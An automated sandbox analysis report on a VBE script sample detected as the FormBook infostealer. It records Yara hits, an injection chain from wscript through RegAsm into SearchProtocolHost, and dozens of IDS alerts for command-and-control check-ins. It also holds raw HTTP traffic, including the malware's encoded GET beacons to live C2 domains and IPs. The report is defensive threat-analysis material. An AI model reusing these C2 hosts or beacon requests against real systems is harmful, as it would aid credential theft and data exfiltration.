Windows Analysis Report
DOC_114542366.vbe

AI detected suspicious sample

Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3775770307.0000000003310000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3766152449.0000000002E30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3778720033.0000000004E70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3775867961.0000000003360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3776047810.0000000005420000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1574816777.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1575092395.0000000001680000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1575820816.0000000006400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe

Joe Sandbox ML: detected

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: zfEzkYXCOLr.exe, 00000005.00000000.1497037185.0000000000DEE000.00000002.00000001.01000000.00000009.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3775116612.0000000000DEE000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: wntdll.pdbUGP source: RegAsm.exe, 00000003.00000002.1575193148.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3776253990.000000000380E000.00000040.00001000.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3776253990.0000000003670000.00000040.00001000.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000003.1577071302.00000000034C3000.00000004.00000020.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000003.1575159803.000000000331A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegAsm.exe, RegAsm.exe, 00000003.00000002.1575193148.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, SearchProtocolHost.exe, SearchProtocolHost.exe, 00000006.00000002.3776253990.000000000380E000.00000040.00001000.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3776253990.0000000003670000.00000040.00001000.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000003.1577071302.00000000034C3000.00000004.00000020.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000003.1575159803.000000000331A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: SearchProtocolHost.pdbUGP source: zfEzkYXCOLr.exe, 00000005.00000003.1514614257.00000000005BB000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: SearchProtocolHost.pdb source: zfEzkYXCOLr.exe, 00000005.00000003.1514614257.00000000005BB000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: VXCVY2334.pdb source: temp_u8gpg.exe, 00000002.00000000.1408500684.0000000000D32000.00000002.00000001.01000000.00000006.sdmp, temp_u8gpg.exe.0.dr

Source: C:\Windows\SysWOW64\SearchProtocolHost.exe

Code function: 6_2_02E4CB30 FindFirstFileW,FindNextFileW,FindClose,

6_2_02E4CB30

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 4x nop then xor eax, eax		6_2_02E39EC0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 4x nop then mov ebx, 00000004h		6_2_034604CE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49868 -> 47.254.140.255:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49883 -> 47.254.140.255:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49875 -> 47.254.140.255:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:49968 -> 172.67.220.36:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49968 -> 172.67.220.36:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:50004 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50004 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50001 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49838 -> 43.163.1.110:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49985 -> 98.124.224.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50026 -> 185.27.134.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50011 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:49791 -> 156.251.17.224:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49844 -> 43.163.1.110:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50017 -> 172.67.159.24:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49791 -> 156.251.17.224:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:49996 -> 98.124.224.17:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:49851 -> 43.163.1.110:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49851 -> 43.163.1.110:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49995 -> 98.124.224.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49999 -> 203.161.43.228:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:50000 -> 203.161.43.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50002 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50000 -> 203.161.43.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50021 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49996 -> 98.124.224.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49954 -> 172.67.220.36:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:50024 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50024 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49829 -> 43.163.1.110:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50022 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49948 -> 172.67.220.36:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49919 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50010 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49962 -> 172.67.220.36:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50006 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:50016 -> 38.47.232.194:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50016 -> 38.47.232.194:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50007 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50013 -> 38.47.232.194:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49993 -> 98.124.224.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49998 -> 203.161.43.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50003 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49905 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50009 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50019 -> 172.67.159.24:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49997 -> 203.161.43.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50005 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49912 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50015 -> 38.47.232.194:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50014 -> 38.47.232.194:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:50020 -> 172.67.159.24:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50020 -> 172.67.159.24:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50023 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:50008 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50008 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50025 -> 185.27.134.144:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:50012 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50012 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50018 -> 172.67.159.24:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:49889 -> 47.254.140.255:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49889 -> 47.254.140.255:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:49925 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49925 -> 208.91.197.27:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.duwixushx.xyz
Source:	DNS query: www.aiactor.xyz
Source:	DNS query: www.amayavp.xyz

Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48
Source: Joe Sandbox View	IP Address: 103.224.182.242 103.224.182.242

Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: WILDCARD-ASWildcardUKLimitedGB WILDCARD-ASWildcardUKLimitedGB
Source: Joe Sandbox View	ASN Name: TRELLIAN-AS-APTrellianPtyLimitedAU TRELLIAN-AS-APTrellianPtyLimitedAU
Source: Joe Sandbox View	ASN Name: BODIS-NJUS BODIS-NJUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 20 Nov 2024 15:56:00 GMTserver: Apacheset-cookie: __tad=1732118160.6524404; expires=Sat, 18-Nov-2034 15:56:00 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 579content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 c1 6e db 30 0c 3d c7 5f 41 b8 07 3b e8 6a a7 08 b6 02 89 e5 1d 06 0c d8 b0 c3 d0 6e e7 41 91 e9 58 ad 2d 79 12 93 34 28 f2 ef a5 1c 37 ed ba 43 ab 8b 2d ea 3d f2 3d 9a 72 d1 50 d7 96 51 d1 a0 ac f8 41 9a 5a 2c 3d a2 c7 3d 66 3b 5c 79 4d 58 e4 c7 70 54 78 e5 74 4f 40 fb 1e 45 4c 78 4f f9 ad dc ca 63 34 06 ef 94 88 f3 5b 9f d7 da ac d1 f5 4e 1b ca b5 ae 31 eb b4 c9 6e 7d 5c 16 f9 11 fb 56 aa 32 da 4a 07 0e 2b ed 50 d1 9f 56 9b 3b 10 90 34 44 fd 22 cf 77 bb 5d f6 4a 62 3e bf da 77 f9 e7 64 19 45 79 0e 37 48 20 81 74 87 76 43 60 6b 98 cf 66 d0 69 e5 ac 47 65 4d e5 81 2c e0 3d aa 0d 21 03 9f ea 80 ae 81 1a 84 17 f2 a1 77 b6 d3 9e 63 52 b7 1e 6a eb c0 db 0e 99 22 bd 35 51 bd 31 8a b4 35 7c dc b6 2b a9 ee ae c7 54 e9 14 1e a2 c9 4e 9b ca ee b2 d6 2a 19 50 99 c3 be 95 0a d3 7f 8c 9d 27 75 2f 2e ae 92 e9 32 3a 44 11 b9 7d 60 b2 4a 4f e0 2a f7 6b 34 21 c0 23 8d 9b f4 75 b5 0f c1 20 f3 27 a1 6b 75 ff 73 d4 2c e0 eb b3 93 ef 37 ac 43 56 e9 43 67 8d 26 cb a1 f5 22 c8 f6 78 08 cc 13 2b 9a 4c 32 6e 82 49 eb 1e 44 c9 d9 b2 35 b2 9d e9 29 ce 2f 13 87 7e d3 52 38 7f 80 b0 1f 0b bb a0 33 d8 49 ce 8f 88 6c ab 7d 28 f6 ad 5a 0e 30 d5 a2 7c b2 94 3e bb 9b 1e 4f df d7 ae 50 66 20 04 dd 07 60 ac 6a 52 74 6e e8 f8 ff df 61 e8 ea cb b9 a3 3d 8f 32 ac 6c c5 8d 86 80 5d 3b bb 31 d5 e2 ec 72 76 a9 e6 9f e0 00 8c 1e 40 4c 1b af c5 80 5e ad 95 6d ad 13 f1 59 3d ac 18 c2 d8 f2 76 36 2c 1e da a2 d2 5b 18 b8 22 a9 b4 67 f5 fb 05 18 6b 70 99 94 85 84 c6 61 2d de 1e e2 30 0e f3 a4 fc d2 6a 75 07 0d 3a 1c a6 d5 10 ba 22 97 7c 85 b8 08 97 32 76 b4 54 74 48 9c 9b b3 5e e0 df 8d de 8a 98 cb 70 fb 9b 18 78 8a 88 89 22 9e 2d e1 f7 f5 0f f1 ae d2 1f c3 35 3d 65 e7 1e 04 f3 43 2f c2 9f e2 11 93 b8 75 79 30 04 00 00 Data Ascii: Tn0=_A;jnAX-y4(7C-==rPQAZ,==f;\yMXpTxtO@ELxOc4[N1n}\V2J+PV;4D"w]Jb>wdEy7H tvC`kfiGeM,=!wcRj"5Q15\|+TNP'u/.2:D}`JOk4!#u 'kus,7CVCg&"x+L2nID5)/~R83Il}(Z0\|>OPf `jRtna=2l];1rv@L^mY=v6,["gkpa-0ju:"\|2vTtH^px"-5=eC/uy0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 20 Nov 2024 15:56:02 GMTserver: Apacheset-cookie: __tad=1732118162.4255567; expires=Sat, 18-Nov-2034 15:56:02 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 579content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 c1 6e db 30 0c 3d c7 5f 41 b8 07 3b e8 6a a7 08 b6 02 89 e5 1d 06 0c d8 b0 c3 d0 6e e7 41 91 e9 58 ad 2d 79 12 93 34 28 f2 ef a5 1c 37 ed ba 43 ab 8b 2d ea 3d f2 3d 9a 72 d1 50 d7 96 51 d1 a0 ac f8 41 9a 5a 2c 3d a2 c7 3d 66 3b 5c 79 4d 58 e4 c7 70 54 78 e5 74 4f 40 fb 1e 45 4c 78 4f f9 ad dc ca 63 34 06 ef 94 88 f3 5b 9f d7 da ac d1 f5 4e 1b ca b5 ae 31 eb b4 c9 6e 7d 5c 16 f9 11 fb 56 aa 32 da 4a 07 0e 2b ed 50 d1 9f 56 9b 3b 10 90 34 44 fd 22 cf 77 bb 5d f6 4a 62 3e bf da 77 f9 e7 64 19 45 79 0e 37 48 20 81 74 87 76 43 60 6b 98 cf 66 d0 69 e5 ac 47 65 4d e5 81 2c e0 3d aa 0d 21 03 9f ea 80 ae 81 1a 84 17 f2 a1 77 b6 d3 9e 63 52 b7 1e 6a eb c0 db 0e 99 22 bd 35 51 bd 31 8a b4 35 7c dc b6 2b a9 ee ae c7 54 e9 14 1e a2 c9 4e 9b ca ee b2 d6 2a 19 50 99 c3 be 95 0a d3 7f 8c 9d 27 75 2f 2e ae 92 e9 32 3a 44 11 b9 7d 60 b2 4a 4f e0 2a f7 6b 34 21 c0 23 8d 9b f4 75 b5 0f c1 20 f3 27 a1 6b 75 ff 73 d4 2c e0 eb b3 93 ef 37 ac 43 56 e9 43 67 8d 26 cb a1 f5 22 c8 f6 78 08 cc 13 2b 9a 4c 32 6e 82 49 eb 1e 44 c9 d9 b2 35 b2 9d e9 29 ce 2f 13 87 7e d3 52 38 7f 80 b0 1f 0b bb a0 33 d8 49 ce 8f 88 6c ab 7d 28 f6 ad 5a 0e 30 d5 a2 7c b2 94 3e bb 9b 1e 4f df d7 ae 50 66 20 04 dd 07 60 ac 6a 52 74 6e e8 f8 ff df 61 e8 ea cb b9 a3 3d 8f 32 ac 6c c5 8d 86 80 5d 3b bb 31 d5 e2 ec 72 76 a9 e6 9f e0 00 8c 1e 40 4c 1b af c5 80 5e ad 95 6d ad 13 f1 59 3d ac 18 c2 d8 f2 76 36 2c 1e da a2 d2 5b 18 b8 22 a9 b4 67 f5 fb 05 18 6b 70 99 94 85 84 c6 61 2d de 1e e2 30 0e f3 a4 fc d2 6a 75 07 0d 3a 1c a6 d5 10 ba 22 97 7c 85 b8 08 97 32 76 b4 54 74 48 9c 9b b3 5e e0 df 8d de 8a 98 cb 70 fb 9b 18 78 8a 88 89 22 9e 2d e1 f7 f5 0f f1 ae d2 1f c3 35 3d 65 e7 1e 04 f3 43 2f c2 9f e2 11 93 b8 75 79 30 04 00 00 Data Ascii: Tn0=_A;jnAX-y4(7C-==rPQAZ,==f;\yMXpTxtO@ELxOc4[N1n}\V2J+PV;4D"w]Jb>wdEy7H tvC`kfiGeM,=!wcRj"5Q15\|+TNP'u/.2:D}`JOk4!#u 'kus,7CVCg&"x+L2nID5)/~R83Il}(Z0\|>OPf `jRtna=2l];1rv@L^mY=v6,["gkpa-0ju:"\|2vTtH^px"-5=eC/uy0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 20 Nov 2024 15:56:05 GMTserver: Apacheset-cookie: __tad=1732118165.8770228; expires=Sat, 18-Nov-2034 15:56:05 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 579content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 c1 6e db 30 0c 3d c7 5f 41 b8 07 3b e8 6a a7 08 b6 02 89 e5 1d 06 0c d8 b0 c3 d0 6e e7 41 91 e9 58 ad 2d 79 12 93 34 28 f2 ef a5 1c 37 ed ba 43 ab 8b 2d ea 3d f2 3d 9a 72 d1 50 d7 96 51 d1 a0 ac f8 41 9a 5a 2c 3d a2 c7 3d 66 3b 5c 79 4d 58 e4 c7 70 54 78 e5 74 4f 40 fb 1e 45 4c 78 4f f9 ad dc ca 63 34 06 ef 94 88 f3 5b 9f d7 da ac d1 f5 4e 1b ca b5 ae 31 eb b4 c9 6e 7d 5c 16 f9 11 fb 56 aa 32 da 4a 07 0e 2b ed 50 d1 9f 56 9b 3b 10 90 34 44 fd 22 cf 77 bb 5d f6 4a 62 3e bf da 77 f9 e7 64 19 45 79 0e 37 48 20 81 74 87 76 43 60 6b 98 cf 66 d0 69 e5 ac 47 65 4d e5 81 2c e0 3d aa 0d 21 03 9f ea 80 ae 81 1a 84 17 f2 a1 77 b6 d3 9e 63 52 b7 1e 6a eb c0 db 0e 99 22 bd 35 51 bd 31 8a b4 35 7c dc b6 2b a9 ee ae c7 54 e9 14 1e a2 c9 4e 9b ca ee b2 d6 2a 19 50 99 c3 be 95 0a d3 7f 8c 9d 27 75 2f 2e ae 92 e9 32 3a 44 11 b9 7d 60 b2 4a 4f e0 2a f7 6b 34 21 c0 23 8d 9b f4 75 b5 0f c1 20 f3 27 a1 6b 75 ff 73 d4 2c e0 eb b3 93 ef 37 ac 43 56 e9 43 67 8d 26 cb a1 f5 22 c8 f6 78 08 cc 13 2b 9a 4c 32 6e 82 49 eb 1e 44 c9 d9 b2 35 b2 9d e9 29 ce 2f 13 87 7e d3 52 38 7f 80 b0 1f 0b bb a0 33 d8 49 ce 8f 88 6c ab 7d 28 f6 ad 5a 0e 30 d5 a2 7c b2 94 3e bb 9b 1e 4f df d7 ae 50 66 20 04 dd 07 60 ac 6a 52 74 6e e8 f8 ff df 61 e8 ea cb b9 a3 3d 8f 32 ac 6c c5 8d 86 80 5d 3b bb 31 d5 e2 ec 72 76 a9 e6 9f e0 00 8c 1e 40 4c 1b af c5 80 5e ad 95 6d ad 13 f1 59 3d ac 18 c2 d8 f2 76 36 2c 1e da a2 d2 5b 18 b8 22 a9 b4 67 f5 fb 05 18 6b 70 99 94 85 84 c6 61 2d de 1e e2 30 0e f3 a4 fc d2 6a 75 07 0d 3a 1c a6 d5 10 ba 22 97 7c 85 b8 08 97 32 76 b4 54 74 48 9c 9b b3 5e e0 df 8d de 8a 98 cb 70 fb 9b 18 78 8a 88 89 22 9e 2d e1 f7 f5 0f f1 ae d2 1f c3 35 3d 65 e7 1e 04 f3 43 2f c2 9f e2 11 93 b8 75 79 30 04 00 00 Data Ascii: Tn0=_A;jnAX-y4(7C-==rPQAZ,==f;\yMXpTxtO@ELxOc4[N1n}\V2J+PV;4D"w]Jb>wdEy7H tvC`kfiGeM,=!wcRj"5Q15\|+TNP'u/.2:D}`JOk4!#u 'kus,7CVCg&"x+L2nID5)/~R83Il}(Z0\|>OPf `jRtna=2l];1rv@L^mY=v6,["gkpa-0ju:"\|2vTtH^px"-5=eC/uy0

Source: global traffic	HTTP traffic detected: GET /bmve/?Wno=a0qDq&KV=Rsosln+CouPFD70pouDpcL8MGxlXnptR0Qz9VzezY2yTYUIF1+nb00CRzlZGPtlDISGdoNhQK1cGxL7iAKAdT88wJdzRXyyanezdQrBbCEm548OmpMr0744= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.duwixushx.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /od8t/?KV=TWQhTiU1OhnYN4IGzL5Djgm2xLK+GsutbeycMWjZ529bH9hAjZgdb5GthJXWZD00/RQs8ByXB8t8HO5uPdBuEty+FSeypv/0YqJ9KzFrGa8mXVJ9lffIJok=&Wno=a0qDq HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.1qcczjvh2.autosConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /i7qk/?KV=y1Deuhcniwy3qxxQAmTyamEbBAp7BzgQf56uDV1XLiTDd60qTBhOzyQcu/peRmYp6AfM2zjHYnfo1VupJPImQ14HHScIWb6hMHv5+s8iUY9NL2Qo8ivIVjo=&Wno=a0qDq HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.yvcp3.infoConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
